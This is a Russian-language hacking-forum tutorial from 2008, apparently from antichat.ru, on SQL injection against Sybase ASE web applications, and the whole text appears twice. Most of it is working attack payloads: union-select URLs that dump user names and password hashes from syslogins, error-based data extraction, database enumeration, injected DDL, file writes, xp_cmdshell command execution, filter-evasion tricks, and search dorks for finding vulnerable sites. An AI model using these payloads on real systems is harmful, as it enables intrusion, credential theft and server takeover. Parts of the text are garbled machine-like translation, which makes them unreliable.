~!DoK_tOR!~
25.07.2008, 23:43
Проведение SQL инъекций в Sybase ASE
Автор: ~!Dok_tOR!~
Дата: 25.07.2008
Special for antichat.ru
[Intro]
В данной статье будет рассмотрено проведения SQL инъекций в Sybase. Я думаю многим будет интересно почитать об этой СУБД так как взламывать MySQL уже научился каждый 3-ий а когда появляется что-то нестандартное, непонятное возникают проблемы, я не исключаю того что ты мог вообще никогда не слышать о СУБД Sybase. Заглянем в историю ...
[History]
Sybase Inc. — пионер среди компаний, специализирующихся на разработке реляционных баз данных, а также других продуктов, связанных со сбором, обработкой и хранением данных. Кроме названия компании, слово «Sybase» также часто используется как наименования наиболее широко известного ее продукта — системы управления базами данных Adaptive Server Enterprise.
Архитекторами Sybase были доктор Роберт Эпштейн (Dr. Robert Epstein) и Том Хаггин (Tom Haggin), — оба они работали на Бритон-Ли и Университет Калифорния, Беркли, — в департаменте вычислительной техники. В Беркли впервые была разработана реляционная СУБД «University Ingres», которая стала эталоном таких СУБД как Ingres (Computer Associates), Informix (IBM) и NonStop SQL (Tandem), а также для большинства сегодняшних SQL-систем.Sybase оказалась на втором месте среди используемых в мире баз данных, сразу за Oracle, после подписания договора о предоставлении исходного кода базы в Microsoft для выведения на рынок продукта на базе платформы OS/2 под названием «SQL Server». В это же время Sybase стала называть свою СУБД «Sybase SQL Server». Вплоть до версии 4.9, Sybase SQL Server и Microsoft SQL Server были практически идентичными. Однако в связи с возникшими разногласиями между компаниями, связанными с вопросами разделения доходов, Sybase и Microsoft приняли решение прекратить совместное развитие продукта несмотря на очевидное наличие общего наследия в виде процедурного языка Transact-SQL (T-SQL) и одинаковой архитектуры. Существенное отличие заключается в том, что Sybase была основана на базе UNIX-архитектуры, в то время как Microsoft практически сразу ушел с UNIX и целиком сконцентрировался на платформе Windows NT. В настоящее время, Sybase продолжает поддерживать и развивать версии для семейства Windows, и различных UNIX-платформ (IBM AIX, HP-UX, Sun Solaris, GNU/Linux и другие).
Офф.сайт www.sybase.com
[Error Messages]
Уявимый параметр search, подставляем ковычку:
http://site.com/index.php?search='
Warning: sybase_query():
Warning: sybase_num_rows():
com.sybase.jdbc2.jdbc.SybSQLException: Unclosed quote before the
character string '''. com.sybase.jdbc2.jdbc.SybSQLException: Incorrect syntax near '''.
ещё ошибка может быть вот такой
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value ''' to a INT field.
Error Message Sybase (http://www.sybase.com/detail_list?id=9897)
[SQL Injection]
Обрезать запрос можно использовав комментарий: /**/ , --
SQL comments (http://manuals.sybase.com/onlinebooks/group-as/asg1250e/sqlug/@Generic__BookTextView/3747;hf=0)
Подбор стоолбцов:
http://site.com/index.php?search=-1+union+select+null--
Узнаём версию Sybase:
http://site.com/index.php?search=-1+union+select+@@version--
или
http://site.com/index.php?search=')+and+1=convert(integer,(select+ @@version))--
и видим ответ сервера
Adaptive Server Enterprise/12.5.2/EBF 11948 ESD#1/P/NT (IX86)/OS
4.0/ase1252/1838/32-bit/OPT/Sat May 29 03:34:29 2004
12.5.2 - это номер версии Sybase;
EBF 11948 - число "непредвиденного исправления(bug fix)";
ESD#1 - число "Электронной Программной Поставки", которое является корректором;
Для того, чтобы получить целое через ошибку рассмотренную выше, мы просто преобразовываем целое в строку:
convert(integer,(select 'z' + str(@@version_as_integer)))
В итоге
http://site.com/index.php?search=')+and+1=convert(integer,(select+ 'z'%2bstr(@@version_as_integer)))--
возвращает результат
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value 'z 12500' to a INT field.
12.5.0 - версия Sybase
В общих чертах, для того чтобы получать переменную произвольного типа данных, использовавших сообщение конверсионной ошибки целого, пропишите переменную в строку сначала, затем выполните преобразование целого.
допустим уязвимый код такой:
String search = request.getParameter("search");
ResultSet rs = stmt.executeQuery("select * from pubs2..titles where UPPER(title) like UPPER('%" + search + "%')");
Выводим имена всех пользователей:
http://site.com/index.php?search=-1+union+select+name+from+syslogins--
или
http://site.com/index.php?search=-1+union+select+name+from+master..syslogins--
Выводим хеши паролей юзеров:
http://site.com/index.php?search=-1+union+select+password+from+syslogins--
Cписок баз данных на сервере:
http://site.com/index.php?search=')+and+1=convert(integer,(select+ min(name)+from+sysdatabases+where+name>''))--
получаем ошибку вида
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value 'master' to a INT field.
в ошибке присутствует слово master - это и есть первая колонка. Для того, чтобы получить следующию, мы модифицируем запрос, так чтобы выбиря наименьшию величину, что больше, чем master, таким образом:
http://site.com/index.php?search=')+and+1=convert(integer,(select+ min(name)+from+sysdatabases+where+name>'master'))--
получили
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value 'blabla' to a INT field.
Таким образом мы повторяем полностью все колонки пока наше утверждение выбора не возвращает никакие дальнейшие данные.
Используем запрос Transact-SQL's, группирующий характеристику:
http://site.com/index.php?search=')+create+table+foo(a+integer)--
серьезная проблема безопасности, для неё характерны несколько причин:
1. Хакер может послать запрос, включая Обработку Данных Языковых утверждений (DML) и Определения Данных Языковых утверждений (DDL).
2. Хакер использует pre-authenticated подлинный канал, который предусмотрен приложением. В примере выше, приложение удостоверяет как "sa" , так что хакер может легко управлять сервером, выполняющим Sybase but нормально счет должен быть более низким-привилегированным счетом пользователя.
search = search.replaceAll( "'", "''");
после вызова на getParameter, единственные кавычки "удваиваются". Конечно, это не будет работать для числовых данных поскольку числа не ограничены в выполнении SQL. Если наш поиск был для pub_id, хакер мог бы просто послать SQL запрос непосредственно после числа, не требуя единственные кавычки.
[Запись в файл]
create table myfile (record varchar(2000)) external
file at "C:\temp\file.txt" insert into myfile
values(0xYOU_BINARY_DATA)"
[xp_cmdshell]
Только администраторы могут выполнить xp_cmdshell, по умолчанию.
Запись в файл через xp_cmdshell:
declare @cmd varchar(255) select @cmd='echo blablabla >> C:\file.txt'
exec xp_cmdshell @cmd
Так как Sybase и MSSQL - довольно схожие системы, то и синтаксис команд во многом схож:
xp_cmdshell 'command'
Например:
xp_cmdshell 'net users'
выведет учетные записи пользователей системы.
[xp_regread]
Sybase не имеет эквивалент xp_regread, так что любые хитрости (как например, чтение SAM файла под Windows) не будет работать в Sybase.
В MSSQL, функция exec позволяет нам, выполнять динамический запрос. Например:
exec('select @@version')
Если запрос не сработает то попробуйте обойти вот так:
exec('sel'+'ect @'+'@ver'+'sion')
Ёще как вариат закодировать целую строку в литерале:
declare @s varchar(2000)
set @s=0x73656C65637420404076657273696F6E
exec(@s)
В общих чертах, фильтрация ввода пользователя в SQL исключительно плохой путь адресовать инъекцию SQL. В некоторых случаях, удаляют ключевые слова так называемые "плохие слова", это может легко обойти использовать подобно этому:
selselectect @@ver@@versionsion
Это обычно срабатывает, если фильтр не установлен никакая подстановка не может быть сделана.
Dorks:
Warning: sybase_query()
Warning: sybase_num_rows()
Warning: sybase_fetch_array():
Warning: sybase_query(): Sybase: Server message:
Ссылки:
Официальный сайт (http://www.sybase.com/)
Cайт российского представительства (http://www.sybase.ru/)
Портал разработчиков под Sybase (http://www.sybasedevel.ru/)
Русскоязычные форумы по продуктам Sybase (http://www.sql.ru/forum/actualtopics.aspx?bid=30)
Автор: ~!Dok_tOR!~
Дата: 25.07.2008
Special for antichat.ru
[Intro]
В данной статье будет рассмотрено проведения SQL инъекций в Sybase. Я думаю многим будет интересно почитать об этой СУБД так как взламывать MySQL уже научился каждый 3-ий а когда появляется что-то нестандартное, непонятное возникают проблемы, я не исключаю того что ты мог вообще никогда не слышать о СУБД Sybase. Заглянем в историю ...
[History]
Sybase Inc. — пионер среди компаний, специализирующихся на разработке реляционных баз данных, а также других продуктов, связанных со сбором, обработкой и хранением данных. Кроме названия компании, слово «Sybase» также часто используется как наименования наиболее широко известного ее продукта — системы управления базами данных Adaptive Server Enterprise.
Архитекторами Sybase были доктор Роберт Эпштейн (Dr. Robert Epstein) и Том Хаггин (Tom Haggin), — оба они работали на Бритон-Ли и Университет Калифорния, Беркли, — в департаменте вычислительной техники. В Беркли впервые была разработана реляционная СУБД «University Ingres», которая стала эталоном таких СУБД как Ingres (Computer Associates), Informix (IBM) и NonStop SQL (Tandem), а также для большинства сегодняшних SQL-систем.Sybase оказалась на втором месте среди используемых в мире баз данных, сразу за Oracle, после подписания договора о предоставлении исходного кода базы в Microsoft для выведения на рынок продукта на базе платформы OS/2 под названием «SQL Server». В это же время Sybase стала называть свою СУБД «Sybase SQL Server». Вплоть до версии 4.9, Sybase SQL Server и Microsoft SQL Server были практически идентичными. Однако в связи с возникшими разногласиями между компаниями, связанными с вопросами разделения доходов, Sybase и Microsoft приняли решение прекратить совместное развитие продукта несмотря на очевидное наличие общего наследия в виде процедурного языка Transact-SQL (T-SQL) и одинаковой архитектуры. Существенное отличие заключается в том, что Sybase была основана на базе UNIX-архитектуры, в то время как Microsoft практически сразу ушел с UNIX и целиком сконцентрировался на платформе Windows NT. В настоящее время, Sybase продолжает поддерживать и развивать версии для семейства Windows, и различных UNIX-платформ (IBM AIX, HP-UX, Sun Solaris, GNU/Linux и другие).
Офф.сайт www.sybase.com
[Error Messages]
Уявимый параметр search, подставляем ковычку:
http://site.com/index.php?search='
Warning: sybase_query():
Warning: sybase_num_rows():
com.sybase.jdbc2.jdbc.SybSQLException: Unclosed quote before the
character string '''. com.sybase.jdbc2.jdbc.SybSQLException: Incorrect syntax near '''.
ещё ошибка может быть вот такой
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value ''' to a INT field.
Error Message Sybase (http://www.sybase.com/detail_list?id=9897)
[SQL Injection]
Обрезать запрос можно использовав комментарий: /**/ , --
SQL comments (http://manuals.sybase.com/onlinebooks/group-as/asg1250e/sqlug/@Generic__BookTextView/3747;hf=0)
Подбор стоолбцов:
http://site.com/index.php?search=-1+union+select+null--
Узнаём версию Sybase:
http://site.com/index.php?search=-1+union+select+@@version--
или
http://site.com/index.php?search=')+and+1=convert(integer,(select+ @@version))--
и видим ответ сервера
Adaptive Server Enterprise/12.5.2/EBF 11948 ESD#1/P/NT (IX86)/OS
4.0/ase1252/1838/32-bit/OPT/Sat May 29 03:34:29 2004
12.5.2 - это номер версии Sybase;
EBF 11948 - число "непредвиденного исправления(bug fix)";
ESD#1 - число "Электронной Программной Поставки", которое является корректором;
Для того, чтобы получить целое через ошибку рассмотренную выше, мы просто преобразовываем целое в строку:
convert(integer,(select 'z' + str(@@version_as_integer)))
В итоге
http://site.com/index.php?search=')+and+1=convert(integer,(select+ 'z'%2bstr(@@version_as_integer)))--
возвращает результат
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value 'z 12500' to a INT field.
12.5.0 - версия Sybase
В общих чертах, для того чтобы получать переменную произвольного типа данных, использовавших сообщение конверсионной ошибки целого, пропишите переменную в строку сначала, затем выполните преобразование целого.
допустим уязвимый код такой:
String search = request.getParameter("search");
ResultSet rs = stmt.executeQuery("select * from pubs2..titles where UPPER(title) like UPPER('%" + search + "%')");
Выводим имена всех пользователей:
http://site.com/index.php?search=-1+union+select+name+from+syslogins--
или
http://site.com/index.php?search=-1+union+select+name+from+master..syslogins--
Выводим хеши паролей юзеров:
http://site.com/index.php?search=-1+union+select+password+from+syslogins--
Cписок баз данных на сервере:
http://site.com/index.php?search=')+and+1=convert(integer,(select+ min(name)+from+sysdatabases+where+name>''))--
получаем ошибку вида
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value 'master' to a INT field.
в ошибке присутствует слово master - это и есть первая колонка. Для того, чтобы получить следующию, мы модифицируем запрос, так чтобы выбиря наименьшию величину, что больше, чем master, таким образом:
http://site.com/index.php?search=')+and+1=convert(integer,(select+ min(name)+from+sysdatabases+where+name>'master'))--
получили
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value 'blabla' to a INT field.
Таким образом мы повторяем полностью все колонки пока наше утверждение выбора не возвращает никакие дальнейшие данные.
Используем запрос Transact-SQL's, группирующий характеристику:
http://site.com/index.php?search=')+create+table+foo(a+integer)--
серьезная проблема безопасности, для неё характерны несколько причин:
1. Хакер может послать запрос, включая Обработку Данных Языковых утверждений (DML) и Определения Данных Языковых утверждений (DDL).
2. Хакер использует pre-authenticated подлинный канал, который предусмотрен приложением. В примере выше, приложение удостоверяет как "sa" , так что хакер может легко управлять сервером, выполняющим Sybase but нормально счет должен быть более низким-привилегированным счетом пользователя.
search = search.replaceAll( "'", "''");
после вызова на getParameter, единственные кавычки "удваиваются". Конечно, это не будет работать для числовых данных поскольку числа не ограничены в выполнении SQL. Если наш поиск был для pub_id, хакер мог бы просто послать SQL запрос непосредственно после числа, не требуя единственные кавычки.
[Запись в файл]
create table myfile (record varchar(2000)) external
file at "C:\temp\file.txt" insert into myfile
values(0xYOU_BINARY_DATA)"
[xp_cmdshell]
Только администраторы могут выполнить xp_cmdshell, по умолчанию.
Запись в файл через xp_cmdshell:
declare @cmd varchar(255) select @cmd='echo blablabla >> C:\file.txt'
exec xp_cmdshell @cmd
Так как Sybase и MSSQL - довольно схожие системы, то и синтаксис команд во многом схож:
xp_cmdshell 'command'
Например:
xp_cmdshell 'net users'
выведет учетные записи пользователей системы.
[xp_regread]
Sybase не имеет эквивалент xp_regread, так что любые хитрости (как например, чтение SAM файла под Windows) не будет работать в Sybase.
В MSSQL, функция exec позволяет нам, выполнять динамический запрос. Например:
exec('select @@version')
Если запрос не сработает то попробуйте обойти вот так:
exec('sel'+'ect @'+'@ver'+'sion')
Ёще как вариат закодировать целую строку в литерале:
declare @s varchar(2000)
set @s=0x73656C65637420404076657273696F6E
exec(@s)
В общих чертах, фильтрация ввода пользователя в SQL исключительно плохой путь адресовать инъекцию SQL. В некоторых случаях, удаляют ключевые слова так называемые "плохие слова", это может легко обойти использовать подобно этому:
selselectect @@ver@@versionsion
Это обычно срабатывает, если фильтр не установлен никакая подстановка не может быть сделана.
Dorks:
Warning: sybase_query()
Warning: sybase_num_rows()
Warning: sybase_fetch_array():
Warning: sybase_query(): Sybase: Server message:
Ссылки:
Официальный сайт (http://www.sybase.com/)
Cайт российского представительства (http://www.sybase.ru/)
Портал разработчиков под Sybase (http://www.sybasedevel.ru/)
Русскоязычные форумы по продуктам Sybase (http://www.sql.ru/forum/actualtopics.aspx?bid=30)